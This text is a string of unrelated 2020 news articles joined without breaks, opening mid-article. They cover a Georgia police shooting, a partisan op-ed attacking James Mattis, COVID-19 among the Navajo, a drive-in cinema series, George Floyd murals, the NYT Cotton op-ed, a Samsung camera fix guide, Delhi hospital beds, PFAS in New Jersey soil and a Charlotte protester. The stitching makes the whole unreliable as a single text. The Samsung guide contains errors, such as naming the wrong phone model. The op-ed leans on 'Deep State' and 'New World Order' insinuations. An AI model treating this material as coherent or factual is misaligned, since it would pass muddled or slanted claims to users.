But a recorded interview conducted by The Atlanta Journal-Constitution with two officers who were present during the altercation told a different story. In it, Detective Jeff Manley of the Snellville Police Department said that Sisay discharged his weapon before the SWAT team arrived. An officer with the Gwinnett County Police Department made no mention of Sisay discharging his weapon.

Abdul Jaiteh, the familys lawyer, said it was significant that the incident occurred just days after the highly publicized death of Floyd in Minneapolis, when Black people everywhere were hyperaware of the potential for the police to do harm.

Any Black man will be scared of the police officers, especially in this situation, he said in an interview.

Jaiteh questioned whether Sisay had truly discharged his weapon, saying it was uncharacteristic of him. He has asked to view footage from the body cameras of the officers, but it has not been released.

Jaiteh said he thought the officers had escalated the situation hastily and unnecessarily because Sisay was Black.

Weve seen standoffs between suspects and police officers that could last for five-plus hours. They give you the benefit of the doubt, he said. They do everything they can to convince you to surrender to save your life. Black people, we dont get the same benefit. Its like in a split second, they will pull the trigger and kill you.

Gambias Ministry of Foreign Affairs said in a statement that it had asked the Gambian Embassy in Washington to engage the relevant U.S. authorities including the State Department to seek a transparent, credible and objective investigation into the matter.

It said that consular officials were in Georgia to support the family of the deceased and to also work with U.S. authorities in establishing circumstances surrounding the death of Mr. Sisay.

Nelly Miles, a spokesman for Georgias state Bureau of Investigations, said the officers body cameras were recording during the altercation but that the footage is not being released because the investigation is ongoing.

Like many people who were moved to protest by Floyds death, Carrick Henry, a recent high school graduate who is organizing the march against police brutality in Snellville, said the actions he is taking now are informed in part by his own experiences with racism.

Ive sort of suppressed it in my life. Its something you dont want to dwell on. But seeing that video sparked something in me, he said of Floyds case.

He said he saw Sisays death as part of a much bigger problem of aggressive policing tactics, and said that the police have lost credibility after years of African American deaths at their hands.

After so many incidents have been captured in graphic videos, Carrick said that many African Americans fear for their lives during even the most mundane encounters with the police. That, he said, could help explain why Sisay might have brandished a weapon during the late-night traffic stop.

He probably felt threatened, and he felt like his life was in danger, Henry said. He didnt know how to handle that.
Despite protestations of principle from former secretary of defense James Mattis  "Chaos," "Mad Dog," and "Warrior Monk"  you knew it was coming. Mattis resigned in February of 2019 over a policy dispute with President Trump, who was determined to end U.S. involvement in Syria's endless civil war. At the time, Mattis piously intoned that he would not be criticizing a sitting president. He maintained that stance for over a year  perhaps a Deep State record in the Age of Trump Derangement.

When Mattis's ritual denunciation of the sitting president finally came, it appeared in the reliably left-wing Atlantic  the clearest signal of all as to where Mattis's sympathies had always resided. The stunning thing about it was what a ridiculous potpourri of cliches it presented.

Three points need to be addressed  and not according to Mattis's own order of treatment, which is a little shaky, anyhow.

First, Mattis excoriates Trump for failing to unify Americans. Is he serious? Even before Trump took office, the Resistance to his presidency was being organized. It included many government officials and even many who intended to stay on as spies in the Trump White House. Trump's inauguration was besieged by mobs of leftists in pussy hats, including womenfolk attached to FBI director James Comey. A spurious probe into Russian interference was already underway and would shortly be formalized with the demented figurehead Robert Mueller as its official representative. General Mike Flynn would shortly be forced out of office and prosecuted. The salacious Steele dossier would be promoted as a source of truths. Later on, one of Trump's supremely qualified Supreme Court nominees would be targeted with absurd allegations of high school sexual aggression.

And that's not even half of it. Can anyone really claim that Trump is the one sowing disunity?

Second  but closely associated with point number one  Mattis plays the Nazi card. Yup. Seems the Nazis tried to destroy us with the motto "Divide and Conquer" (usually attributed to Philip of Macedon, not to Heinrich Himmler), but we boldly resisted with the countervailing motto, "In Union There Is Strength" (from one of Aesop's fables). And Trump is definitely a Nazi because he's trying to divide us. Or maybe he's trying to divide us because he's a Nazi. He probably speaks German on the side and likes to wear shiny black boots.

Mattis  widely celebrated as a history buff  seems to have forgotten the actual state of the country back when we were fighting Hitler. The U.S. military was segregated. FDR had shipped Japanese-Americans to concentration camps. Was the America of the Greatest Generation really the model of national unity that Mattis pretends? Or did he just need to work the word "Nazi" into his attack on Trump because somebody like Rick Wilson told him to?

Third, and most offensive, Mattis dismisses nationwide riots and the murder of cops as a mere distraction. "We must not be distracted by a small number of lawbreakers," saith the sage. Millions of dollars at least in theft and property damage on top of COVID-19 losses to small business? Hey, don't sweat it, quips our glorious military exemplar. A rising death toll from the disorder  including blacks whose lives presumably mattered? Don't make the Warrior Monk laugh! What really matters is some abstract principle that "we can all get behind." What really matters is the enduring verity: Orange Man Bad!

I'd really like to see Mattis tell the families of David Dorn and Italia Marie Kelly that their loved ones were simply distractions from the super-wise point he wants made. Right now he seems just clueless enough to do it.

Even better, I'd like to hear him admit that his problem with Trump has nothing to do with Lafayette Park and the First Amendment and everything to do with Trump's defiance of the New World Order. I'd like to hear him admit that he thinks he and his class should be running American foreign relations.

Honesty is the best policy. (That's from Poor Richard's Almanack, not Mein Kampf.)

Tom Riley is widely known as a poet of the formalist school and is the author of The Ghost of Biden's Brain.
There are various theories to explain why the COVID-19 pandemic has inflicted such a terrible toll on the Navajo Nation. They range from large gatherings that led to an explosion of the virus, to extreme poverty, to lack of running water, to immune system problems caused by exposure to uranium from now-abandoned mines.

In truth all of them, and others, may play a role. There undoubtably will be no shortage of research papers.

But here are some unassailable facts: Native Americans across New Mexico are dying of the novel coronavirus at 19 times the rate of all other populations combined. They account for 57% of New Mexicos COVID-19 deaths despite being only 11% of the population and have an infection rate 14 times higher than the rest of the population.

Dr. Michael Landen, state epidemiologist, says Native Americans also have higher rates of complications and account for 72% of the states hospitalizations.

The Navajo Nation is a sovereign nation governed by an elected president and tribal council. And it presents unique health challenges. Covering more than 27,000 square miles in northeast Arizona, southeastern Utah and northwest New Mexico, it is larger than 10 U.S. states but sparsely populated with about 180,000 people, many of whom live in remote locations, making water tie-ins virtually impossible in many cases. Wells often are not an option because of the water table.

Unemployment is estimated at more than 40%, with 43% living below the poverty line. The population suffers from a range of health problems, including diabetes rates four times higher than the age-standardized U.S. estimate.

There have been some gatherings that led to high transmissions, Landen says. Then you have persons who have higher rates of complications who have been infected, persons with diabetes, hypertension, chronic alcohol use, those sorts of conditions.

It is another sad chapter in a tragic history. Navajos are thought to have arrived in the Southwest between 800 and 1,000 years ago after crossing the Bering Strait. They fought with pueblos and the Spanish but encountered a more formidable enemy after the U.S. defeated Mexico in 1846. Colonel Kit Carson basically starved the Navajos into submission and rounded up every one he could find, and in the spring of 1864 forced them into the long march to Fort Sumner, N.M. It is an ugly blot on this nations history.

A treaty signed in 1868 returned the Navajos to the Four Corners. One of the governments promises was to provide health care to the tribe.

It has been a promise poorly kept. Even though Native Americans died at four times the rate of all other ethnic and racial groups combined during the 2009 swine flu outbreak, the current budget for the Indian Health Service is $6.04 billion compared with an estimate by a coalition of tribal leaders that full funding would require $48 billion. That lack of funding ties directly to the poor underlying health conditions that have contributed to the pandemic on tribal land.

It was delayed, but the Navajo Nation received $600 million in much-needed money from the federal CARES Act. President Jonathan Nez has said, wisely, that he would like to see the money go toward infrastructure projects such as water lines and homes as well as investing in Navajo businesses so the Dine dont have to travel to border towns to buy supplies and necessities.

The Navajo Nation also has received more than $2 million in donations from individuals and outside organizations like the Arizona Diamondbacks.

We have friends of the Navajo people, and God bless their hearts, Nez told the Navajo Times, referring also to supporters in Congress. They are putting money, putting their resources and helping this Nation with food, supplies and prayers.

Nez is being incredibly gracious. And he knows the Navajo Nation needs more than charity, emergency money and goodwill. As we move past this pandemic, our leaders  can somebody please step up?  need to convene a real summit that includes the three states, the federal government and the Navajo Nation to address the underlying systemic problems that have led to the disparate toll COVID-19 has inflicted on the Navajo people.

Navajos have continued to suffer through the direct actions of others since the The Long Walk. At this point, more benign neglect is unconscionable.

This editorial first appeared in the Albuquerque Journal. It was written by members of the editorial board and is unsigned as it represents the opinion of the newspaper rather than the writers.
T om Kerridge's Pub in the Park has announced a brand new series of drive-in film and food experiences, due to launch this summer.

The new venture, called Drive & Dine Theatre, will visit locations across the UK from July 7 to August 2, culminating with screenings in west Londons Syon Park and south Londons Selhurst Park Stadium, home of Crystal Palace.

Guests can expect a selection of classic and contemporary films during the run, with the line-up including 1917, The BFG, Aladdin, Grease and Back to the Future.

Kerridge himself has designed the food menu for film buffs to tuck into. Having made a name for himself with souped-up comfort food at his two Michelin-starred pub The Hand and Flowers, its perhaps no surprise that dishes include family-friendly classics such as maple bacon cheeseburger, chicken tikka masala, a vegan five-bean chilli burrito and picnic boxes suitable for both children and grown-ups.

Drive-in diners can also round off the experience with sweet treats including a TKO biscuit cheesecake and a Millionaires chocolate pot.

There will also be comedy on offer, with guests able to book exclusive stand-up sessions from Mark Watsons Carpool Comedy Club.

Tickets for the events go on sale from June 10. Screenings costs 17.50 for adults and 5.50-7.50 for children, while food ranges from 4-15. Tickets can be bought here.

Kerridge said: I am so excited to announce a great new event created to have a load of fun in a way that is safely suited to current times. Come and eat some good grub, catch some quality movies, and make some new memories with your loved ones.

Drive & Dine Theatre is the latest drive-in cinema experience to be announced during the coronavirus outbreak. The full list of dates is below.

July 7-12: St Albans, Luton Hoo Estate

July 7-12: Bath Racecourse

July 14-19: Marlow, Henley Showground

July 14-19: Tunbridge Wells, Hever Castle

July 21-26: Chichester College

July 21-26: Warwick Racecourse

July 28-August 2: West London, Syon Park

July 28-August 2: South London, Selhurst Park Stadium

For more information, head here.
Flowers, signs and balloons are left near a makeshift memorial to George Floyd near the spot where he died while in custody of the Minneapolis police, on May 29, 2020 in Minneapolis, Minnesota.

Amid protests taking place in response to police brutality against black Americans, murals honoring George Floyd have cropped up around the world. Powerful portraits of Floyd's face have emerged in cities including his hometown of Houston and in Minneapolis, where he died in police custody on May 25. Some of these murals feature the words he said as ex-police officer Derek Chauvin knelt on his neck for nearly nine minutes: "I can't breathe."

Floyd's death has also resonated in places far beyond Minneapolis. Murals have sprung up in Germany, Kenya and even in the bombed-out ruins of Syria. While the paintings commemorate Floyd, they also demand an end to systemic racism, and call for change and justice. For many, they are symbols of a fight not yet won.

The following is a collection of these murals from the U.S. and across the globe:
Sumeet Vyas and wife Ekta Kaul recently welcomed their first child and named the baby boy, Ved. The Veere Di Wedding actor has now revealed what went behind naming their son after the mythological figure Ved Vyas, known as the author of Mahabharat.

In an interview to Mumbai Mirror, Sumeet said, Long ago, one of our relatives was having a child and we were discussing names, when Ved came up and stayed with me. I decided if I have a boy, Ill name him Ved. Since we come from the line of Ved Vyas, it makes sense.

Talking about why they chose his aunts hospital for the delivery, he said, We couldnt trust a multi-facility hospital at a time like this. It was a normal delivery and both Ekta and Ved are doing fine. The actors family couldnt visit them at the hospital but he is hopeful they will be able to meet the child once they take the baby home. Once we return home, well see if they can be brought over to meet the baby, even if only for an hour, he added.

Watch: Sumeet Vyas on prepping to becoming a father

Sumeet had earlier told Hindustan Times in an interview about how the lockdown allowed him to spend some quality time with Ekta during her pregnancy. He said, The only silver lining is I got to spend all this time at home which generally I am not able to as I am usually working and travelling most of the time. So this was the time we got to spend together.

Also read: Chintu Ka Birthday movie review: Vinay Pathak, Tillotama Shome film feels like a bite of sugary cake during these bleak times

On being asked if he had the responsibility of household chores during this time, he had said, Luckily, we have finally got a house help who stays with us. But for initial few weeks we couldnt get help. It was a very traumatic experience. I have never done domestic work before. But this time we had to do everything ourselves from jhadu-poncha to bartan. Cleaning the dishes is a very traumatic thing. I am very careful now and dont use that many utensils. I wont use a spoon unless its absolutely essential.

Sumeet was recently seen in horror-comedy web series, Bhootiyagiri on MX Player. He was scheduled to start shooting for a film in London in April but the plans were halted due to the coronavirus pandemic.

Follow @htshowbiz for more
[Updated 09/06/2020: James Bennet, opinion page editor of the New York Times, resigned.] The New York Times has accepted that publishing a controversial editorial which could have led to reporters being attacked was an error after the local journalists' union called its publication "irresponsible" and likely to promote hate.

Journalists at the New York Times condemned the publication by the US newspaper of an Op-ed from a Republican senator calling on the government to "Send in the Troops" in response to ongoing protests over the murder of George Floyd. The International Federation of Journalists stands by its affiliate the NewsGuild in calling on the NYT to refrain from spreading further hatred in these critical times.

In an Op-ed titled "Send in The Troops" published on 3rd June, Senator Tom Cotton called on the army to "detain" and subdue" protestors and restore public order. This call followed violence that broke out across the country during protests over police brutality and racism following the killing by police forces of George Floyd on 25 May.

On 3 June, the NewsGuild of New York published a statement condemning the publication of Cotton's Op-Ed:

"His message undermines the journalistic work of our members, puts our Black staff members in danger, promotes hate and is likely to encourage further violence".

"While acknowledging the need to publish a diverse array of opinion, the Guild calls the publication of such an opinion a "irresponsible choice" and warns that the New York Times employees will send a letter to the NYT management to express their concerns."

The company issued a statement on 4 June acknowledging that the Op-Ed "didn't meet the newspaper's standards". Weve examined the piece and the process leading up to its publication, Times Spokeswoman Eileen Murphy, said in a statement. This review made clear that a rushed editorial process led to the publication of an Op-Ed that did not meet our standards".

IFJ General Secretary Anthony Bellanger said: "In the past few days, we have witnessed shocking images of police brutality against journalists and citizens and we have strongly condemned such attacks. As media professionals, we do have a duty to respect pluralism and diversity as well as ethical standards. The current situation in the US requires absolute care and balance in news reporting and no encouragement for further violence. We welcome the NYT's acknowledgment that the publication of the Op-ed was not a good decision."
U.S. President Donald Trump holds up a Bible as he stands in front of St. John's Episcopal Church across from the White House after walking there for a photo opportunity during ongoing protests over racial inequality in the wake of the death of George Floyd while in Minneapolis police custody, at the White House in Washington, June 1, 2020.

Facebook, Twitter and The New York Times all have different business models and missions. But the three companies were once again rocked this week by a pestering question they've all struggled to answer for years -- how to balance free speech and political neutrality.

Facebook's Chief Executive Mark Zuckerberg has tried to keep his platform agnostic toward ideological clashes by allowing most speech, including President Donald Trump's post this week that "when the looting starts, the shooting starts." Twitter took a different approach, hiding the tweet behind a warning that it "glorifies violence." The New York Times, meanwhile, decided to run an op-ed by U.S. Senator Tom Cotton (R - Ark.) that called for the federal government to send in the military to suppress protests, in order to help "provide a debate on important questions."

All three companies were criticized for their decisions. Hundreds of Facebook employees staged a virtual walkout on Monday. President Trump called out Twitter for hypocrisy, accusing the company of targeting "Republicans, Conservatives & the President of the United States" and asking for "Section 230 to be revoked," an allusion to a provision in the Communications Decency Act that protects technology companies from legal liability for user content. More than 800 New York Times staff members signed a letter opposing the publication of Cotton's op-ed Thursday, causing the Times to put out a statement blaming "a rushed editorial process" for its publication.

There's a clear problem here -- one that's been lingering for years. There are no clear guidelines for how to deal with controversial political speech, especially when messages disseminate false or unverified information.

Right now, company execs and editors make decisions on an ad hoc basis, flitting from crisis to crisis.

One solution, according to Jeff Jarvis, a professor at the CUNY (The City University of New York) graduate school of journalism, is for platforms to define their "north stars" -- guiding principles that inform and dictate the type of conversation they expect from participants.

"One size fits all regulation doesn't work," Jarvis said in an interview. "Platforms need to set their own standard and then be held accountable to whatever standard they set. Reddit is different from Facebook, which is different from Twitter. If Facebook says, we expect a respectful humane conversation, they're going to be expected to do that. If it says, nope, actually, anything and everything goes, they'll be accountable for that. The problem is Facebook hasn't established a clear north star."

The lack of a defined north star also led The New York Times to stumble with the Cotton op-ed, Jarvis said. Initially, the Times defended the decision by trying to ensure its readers had access to all types of opinions.

"It would undermine the integrity and independence of The New York Times if we only published views that editors like me agreed with, and it would betray what I think of as our fundamental purpose  not to tell you what to think, but to help you think for yourself," wrote New York Times editorial page editor James Bennet in a column Thursday.

The Times's problem, Jarvis said, is that manufacturing conversation by ensuring different viewpoints are heard, including those that some viewed as fascist, is overly simplistic and does a disservice to the newspaper's readers.

"Again, what is The New York Times' north star?," Jarvis said. "Neutrality is a myth. Journalism cannot be objective but we must be transparent. We get in trouble all the time when we try to chase the god of objectivity to balance neutrality. I think that's what happened at The Times."
Sometimes it happens to you Samsung Note 9 that the camera stop working with no reason and the message error appears like unfortunately, the camera has stopped. This problem always relates to the software or app crash. Here we would like to share you shortcuts to troubleshoot the issues. Hopeful, the ways we list below could be helpful to solve the problem.

1. Clear the camera app cache and data

Your camera app is overloaded with cache and junk data after a long time using. You need to erase and clear the cache and data on your phone. Take the following steps of measurement and restart your phone afterwards. Dont worry, it wont affect your phone original data. To do so, just follow the steps below:

Open apps tray on home screen>> open settings >> find apps and tap >> Tap Menu and tap show system apps to see preinstalled apps >> Find camera and tap >> Tap storage and select clear cache >> Tap clear data option and confirm the delete

2. Updating the latest android version and the camera app

This works especially to the third party camera App. You may try this way if you are using the third party camera. Sometimes the android version may affect the issue of the camera, so updating to the latest system version may be effective for fixing the camera issue.

To update the android version, just follow the steps below:

Open Settings >> Scroll down and software updates >> Select download and install >> Find if OTA update is available, if so, update phone will start the download automatically

To update the camera App, just Select apps from home screen >> Select settings >> Find your third party app >> Select and update it

3. Rebooting the phone in safe mode

To reboot the phone safe mode will allow you to disable the third-party apps, and this will crash the camera app and fix the camera issue somehow.

To run safe mode on an Android phone, follow the steps here: Turn off your phone >> Press and hold the power key until you see the phone model on your phone screen >> When appearing Samsung logo, release the power key >> Immediately press and hold the volume down key after releasing the power key until mobile finishes restarting >> On the safe mode screen appearance in the bottom left corner, release the volume down key.

Now try to use the Samsung Note 5 camera by taking pictures or videos. If the issue is not resolved, try our next solution.

4. Resetting your phone

This is the last and ultimate solution to your camera problem. However, before resetting your phone completely, it is recommended to take a backup of your important data and apps.

To reset your phone, follow the steps here: Turn off the phone >> Press and hold the volume up key and Bixby key, then press and hold the power key >> on the display of logo release all keys >> Press volume key several times >> select wipe data/factory reset by volume keys and press power key >> select yesdelete all user data and press the power key

The four solutions above are fast and effective to fix your Samsung Galaxy Note 9 camera issues. You may try the steps if you happen to face the problems on your phone. If the camera problems still exist after you try, we suggest you go to the repair shop to tear down the phone and check the camera. Besides, you may also go to our shop for some Samsung Galaxy Note 9 LCD display screen if you are considering to replace the camera.
Patients across the city have complained of difficulties in getting admitted to Covid-designated hospitals despite the governments Delhi Corona app displaying vacancies in these facilities.

In response, the government has denied these reports and sought to calm concerns of any bed shortages in hospitals dedicated to treating the coronavirus disease (Covid-19). Delhi health minister Satyendar Jain said some hospitals may be updating data late on the app.

The complaints, however, refuse to go away.

Ajay Kumar said he took his 63-year-old father, Sudama, who had been running a fever for a few days, to a private hospital that turned him away, claiming it had no vacant Covid beds.

We then took him to a small nursing home in Mandawali, where he was admitted and tested for Covid-19. He was there for two days, but when he tested positive, the hospital asked us to leave. They said they did not treat Covid-19 patients, said Kumar.

Sudama had to then be admitted to Lok Nayak hospital on Friday.

Ranbiri, 53, a gall bladder cancer patient undergoing treatment at the Delhi State Cancer Institute, received news that she had tested positive for Covid-19.

They said they cannot hospitalise her now and asked us to take her somewhere else. We got really scared because if they send her to a quarantine facility, who will take care of her? She cannot even move on her own. A group of Asha workers visited her with some medical staff on Thursday and gave her some medication at home, said her daughter Radha.

The family finally got a bed in Action Cancer Hospital, where she could be treated for both Covid-19 and cancer, after intervention by activist and lawyer Ashok Agarwal.

Delhi government data, as of Friday evening, showed that 4,601 beds across Covid hospitals remained vacant.

The app was launched to make all data about hospital beds transparent. The information about availability of beds is being provided directly by the hospitals and it is supposed to be done on real-time basis. In case the hospital refuses a bed to any patient in spite of beds being shown available, the government can and will take action, said the media advisor to chief minister Arvind Kejriwal

Some hospitals have also admitted asymptomatic and mild patients, which is against the Indian Council of Medical Research and Delhi government guidelines. They have been asked to discharge such patients within 24 hours. The Delhi government is increasing hospitals beds for Covid patients every single day, said the media advisor.

At present, over 8,500 hospital beds are earmarked for the treatment of Covid-19 in both private and government hospitals. Data from the Delhi governments Corona app shows that government hospitals are running at 43.7% of their total capacity and private hospitals at 50.7%.

With Delhi reporting over 1,000 cases a day, several of the bigger hospitals are filling up fast  with the All India Institute of Medical Sciences (AIIMS) running at 79% capacity, Safdarjung at 96%, and Ram Manohar Lohia Hospital at 88%.

The beds at AIIMS are filling up  there are over 700 Covid-19 patients admitted in total at both our centres as of today. However, of these only 15 or 16 need ventilator support, another 20 to 25 need oxygen support, and about 100 to 150 people need close monitoring. Generally, many people are seeking admission because of the fear of the disease and they can actually stay at home, said Dr DK Sharma, medical superintendent, AIIMS.

In the meantime, the government is working on reinforcing its facilities . A five-member committee recently set up by the government is to submit a report on how to increase and strengthen the Covid-19 health infrastructure.

Dr Arun Gupta, one of the members of the committee, said the number of beds for treatment of Covid-19 patients would increase to 9,500 in the next couple of days.

There are some misleading reports that there is shortage of beds for Corona patients in Delhi because a few private hospitals are refusing admissions. The truth is, there is absolutely no shortage of beds in Delhi at the moment, said Delhi heath minister Jain

 In the last three days, more than 1,000 patients have been admitted to various hospitals in Delhi. If beds were not available, this would have not been possible. Even now we have close to 5,000 vacant beds. So clearly the issue is that some hospitals are not updating the data on Delhi Corona app on time or misrepresenting actual data when patients call. Patients were not getting data on hospitals before, which the Delhi corona app is trying to fix. We are making hospital bed data live and real time soon, he said
The education minister is defending his participation in recent international home-schooling conferences that involved controversial figures, including Donald Trumps education secretary and an extreme right-wing politician from Germany.

Hey there, time traveller!

This article was published 5/6/2020 (594 days ago), so information in it may no longer be current.

The education minister is defending his participation in recent international home-schooling conferences that involved controversial figures, including Donald Trumps education secretary and an extreme right-wing politician from Germany.

Since the pandemic was declared, Education Minister Kelvin Goertzen has participated in two virtual conferences put on by the Global Home Education Exchange. During events in both April and May, Goertzen spoke about the pandemic being an opportunity for more families to try out home-schooling and experience the benefits of parents being heavily engaged in students learning.

"It hopefully will change that parental engagement and that recognition that education isnt simply a state activity  maybe it shouldnt even be primarily a state activity; much of that education, maybe most of that education for a lot of things, should be considered in the home, as well," Goertzen said, during his most recent presentation, which was livestreamed on May 27.

Among the 15 participants in the latest event, Goertzen, Republican Sen. Ted Cruz and Joachim Kuhs, a member of the far-right Alternative for Germany party (AfD) gave presentations under 10 minutes long. During the April event, U.S. Secretary of Education Betsy DeVos provided opening remarks about Trumps education platform.

On Friday, the Manitoba Liberals put out a call for Goertzen to resign or be fired, citing his decision to participate in the events  specifically the latest event, alongside Kuhs, whose party was placed under Germanys domestic intelligence agency surveillance earlier this year over fears that far-right terrorism and extremism posed a great danger to the countrys democracy.

"You cannot have a minister of education in Manitoba whos flirting with fascist parties You cannot have a minister of education who is working with and actually giving advice to one of the most extreme political parties in the world," said Liberal Leader Dougald Lamont.

Lamont noted that the AfD party has a track record of struggling to get rid of known neo-Nazis within its party, members downplaying the Holocaust and most recently, publishing a racist colouring book that depicted xenophobic and anti-black imagery.

Also Friday, Lamont charged the minister with being in the company of politicians who favour defunding and dismantling public; he said Pallister's government puts on a moderate face while it plans for more extreme measures.

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"You cannot have a minister of education in Manitoba whos flirting with fascist parties You cannot have a minister of education who is working with and actually giving advice to one of the most extreme political parties in the world."  Liberal Leader Dougald Lamont.

Goertzen did not make himself available for an interview Friday. Instead, his office issued a statement on his behalf, in which the minister said he has participated in numerous conferences "with people of divergent views on many topics" during his 17 years as an elected official.

"I am fully accountable for my own comments. The views of other participants in any conference are theirs to defend," he said in the statement, adding his most recent talk focused on the importance of choice in education and student results. Goertzen said he left the latest webinar after his presentation and there was no dialogue between presenters.

Nello Altomare, the opposition NDPs education critic, said Friday his biggest concern isnt who the minister is associating himself with but rather the Pallister governments approach to funding education. Public education needs robust funding, he said, adding the Progressive Conservatives have been making cuts first and asking questions later.

maggie.macintosh@freepress.mb.ca

Twitter: @macintoshmaggie
Credit: CC0 Public Domain

A team of researchers from the U.S. Environmental Protection Agency and the New Jersey Department of Environmental Protection has found evidence of chloroperfluoropolyether carboxylates (ClPFPECAs) in New Jersey soils. In their paper published in the journal Science, the group describes their efforts to test for PFAS replacements and to identify the compounds they have found. Steve Gold and Wendy Wagner with Rutgers Law School have published a Policy Forum piece in the same journal issue outlining the history of PFAS use, its discontinuance, and the work by the team in New Jersey.

Per- and polyfluoroalkyl substances (PFAS) comprise a family of chemicals that have a carbon and fluorine atom backbonethey have historically been used in consumer goods such as plastics, carpet and rubber. They have also been found to persist for such a long time in the soil that they are referred to as "forever chemicals." Over the past several years, environmental agencies in a multitude of countries have banned the use of PFAS due to health problems in people living near plants that use them. In response, companies such as Solvay Specialty Polymers USA began developing replacements for PFAS. Those replacements, now known collectively as ClPFPECAs are now under scrutiny by the EPA and other environmental organizations due to possible health problems in people living near plants that use them.

The work involved collecting soil samples surrounding a South Jersey Solvay facility located in West Deptford and analyzing them. They found evidence of ClPFPECAs in every sample they collected, with concentrations increasing closest to the Solvay facility. The researchers note that it is currently not known if the compounds are toxic to humans because they are proprietary products, which means the companies that make them do not have to reveal their nature. The researchers collected soil samples from across the state and found evidence of 10 kinds of ClPFPECAs, some from as far away as 450 kilometers from the Solvay facility. Such distances, the researchers note, suggest that the compounds are being carried by the wind. They suggest more work is required to determine whether the newly developed compounds are toxic, and if so, if they are harming people near plants that are using them.

Explore further Winds spread PFAS pollution far from a manufacturing facility

More information: John W. Washington et al. Nontargeted mass-spectral detection of chloroperfluoropolyether carboxylates in New Jersey soils, Science (2020). John W. Washington et al. Nontargeted mass-spectral detection of chloroperfluoropolyether carboxylates in New Jersey soils,(2020). DOI: 10.1126/science.aba7127 Steve C. Gold et al. Filling gaps in science exposes gaps in chemical regulation, Science (2020). DOI: 10.1126/science.abc1250 Journal information: Science

 2020 Science X Network
WASHINGTON - Curtis Hayes Jr., 31, roared his way into the American psyche with a furious message for two black protesters - one 14 years older than him, one 15 years younger - who were trying to make a stand against American racism, a problem ages older than any of them.

To the elder, ready to die to make his anger known: "This ain't the way!"

To the younger: "Y'all come up with a better way, 'cause we ain't doing it!"

They were standing on a bridge in Charlotte, N.C., one of dozens and dozens of U.S. cities where black people and their allies had raised their voices against police violence - and, in the process, faced some. The boy was 16. He stood at attention as Hayes's voice broke and tears streamed down his face.

"And I have a 5-year-old son," Hayes cried out, palms open to the sky. "And it ain't happening!"

It was a multigenerational tableau of desperation, which became a 20-second clip, which became a viral video unlike most: there is no mic drop, no moral, no punchline, no sudden reversal of circumstances. His words are given as wisdom to a youngster, but Hayes - still a young man himself - is out of ideas. Peaceful protest, angry revolt, weary lamentation. And it ain't happening.

So, what happens next?

Flash forward two days. Hayes is in Washington, sitting outside the Capitol, home of an institution that creates laws that he says, "are not for us - they're not for the minority."

He has some words for the majority.

"My white peers: We need y'all to jump into the front line right now."

Hayes is in town to visit his friend, who lives in suburban Virginia, but he's happy to talk, and he suggests the Capitol as a backdrop for an interview. Here the birds are chirping and the air is calm. But Hayes carries every ounce of fervor he brought to that bridge in Charlotte. Over the course of 40 minutes his jaw will shake, his eyes will flood repeatedly. He will speak breathlessly, pausing only to fix his gaze and inspect the face of his one-woman audience for comprehension.

"My people are tired because we've been on the front line," he continues. "My grandmother, my great-grandmother, and 10 generations before her have been on the front line. It is time for white people who feel in their hearts that the injustice is wrong [to step up]."

Hayes was born in West Virginia but moved to North Carolina as a child. His mother raised him and his three siblings mostly on her own. He was given love and lessons in respect and hand-me-down sneakers from cousins, but knew his mom struggled to provide for the family. As an 8-year-old, he says, "I made up my mind that my life goal and my life journey would be to break the cycle and break the generational curses of where I came from."

As a teenager, with no clear view of how to achieve that goal, he felt lost. He rebelled, racked up some misdemeanors - disorderly conduct, larceny under $50, resisting a public officer - and learned what it feels like to see his fate in the hands of a white man in a black robe. "We all make mistakes. But it's only a certain race, a certain ethnicity, a certain minority that has to bear their mistakes for as long as they live," Hayes says. "If you have a record you have no right path, you have no option, you have no other choice but to go down the path that the world has designed for the minority and for the black man."

Hayes grew up and eventually started his own property maintenance company. He says he supports other young, black entrepreneurs and mentors kids in Charlotte. Which is why he was struck last weekend, at the Charlotte protest, when he ran into a young man whose path to adulthood had led him to the same bridge that Hayes was walking across.

Raymon Curry, the 16-year-old who appears in the video, was defying the rules - in that he didn't have his mother's permission to attend the rally. She'd find out later, when her son's face appeared in Hayes's viral catharsis.

That scene happened a few minutes after they met, when they encountered protesters who had surrounded two police cars. Hayes says the police were just sitting there, smirking, as protesters hollered at them. The officers' stony silence only agitated the protesters further.

"Engage!" Hayes thunders now, in Washington, willing officers everywhere to hear the voices of protesters standing before them. "Speak! All these people want to know is that you're listening. But you're ignoring them as they stand in front of you and cry out. And all they are trying to express to you is that they are tired of their people dying."

The 45-year-old man, wearing a white tank top and cowboy boots, was one of the tired ones, and in the video, he says so - shouting inches from Hayes's face. Hayes engages.

"I understand. I understand," Hayes repeats, his voice raised but his body language receptive.

The older man continues: "We've been standing around, as the older ones, taking on this bulls---, always looking for a kumbay- f---ing -ya! Always standing around for a kumbaya! Ain't nobody coming to protect us. We gotta start our own f---ing law!"

"I understand!" says Hayes, and that's when he pulls Curry into the frame as a symbol of the future.

There's crosstalk, with the older man saying it's "time to stand up," and Hayes saying "this ain't the way," because the police are "ready to let loose."

Hayes turns to Curry and looks him directly in the face, the brim of his hat nearly touching Curry's forehead.

"Let me tell you something," he says, his voice becoming raspy. "What you see right now is going to happen 10 years from now. And at 26, you're going to be doing the same thing I'm doing."

Unless Curry comes up with a better way. Somehow.

The video got a huge reaction. It was posted by celebrities like Dennis Rodman and 50 Cent. Activists and cultural critics said it crystallized generations of pain.

"This needs to be seen by every single black person," one commenter wrote on Twitter.

"Black people already know all this," another responded. "White people need to see it."

Hayes and Curry continued to protest together into the night on Saturday. (They lost track of the older man, whose name they didn't catch.) Curry took his cues from Hayes, who insisted their message would be lost if they didn't keep the peace. That night, as the protest grew violent, they helped form a line between protesters and police officers, to make sure no one got hurt.

"And then I turned around and a police officer pepper-sprayed me in the face," Curry says on the phone from Charlotte. It was a lesson at odds with the one Hayes had offered. Curry was trying to protect the police, who are supposed to protect him. Instead they hurt him.

It ain't happening.

"All we did was come with peace. But where was the peace when Trayvon Martin got shot? When George Lloyd was killed?" he says. "In my head I was like, 'This is what my people keep doing over and over again. And yet they continue to do the same thing - hurt us, kill us.' "

Curry found out that he and Hayes had gone viral Monday morning, when his mom busted into the room, having seen the video. She wasn't pleased he'd lied to her, but was proud he was standing up for his rights. After all, she was the one who sat Curry down to show him the video of George Floyd dying with a knee in his neck.

Hayes said he is glad America got to see the tears he shed. He's not shy about his tears here, either. "I'm not afraid to be vulnerable. I think people have a perception of black men where we are aggressive beings," he says, as two Capitol Police officers pass on motorcycles. "We go home to our women and we are soft. We are nurturers. We play with our kids. We talk to our grandmothers. We care."

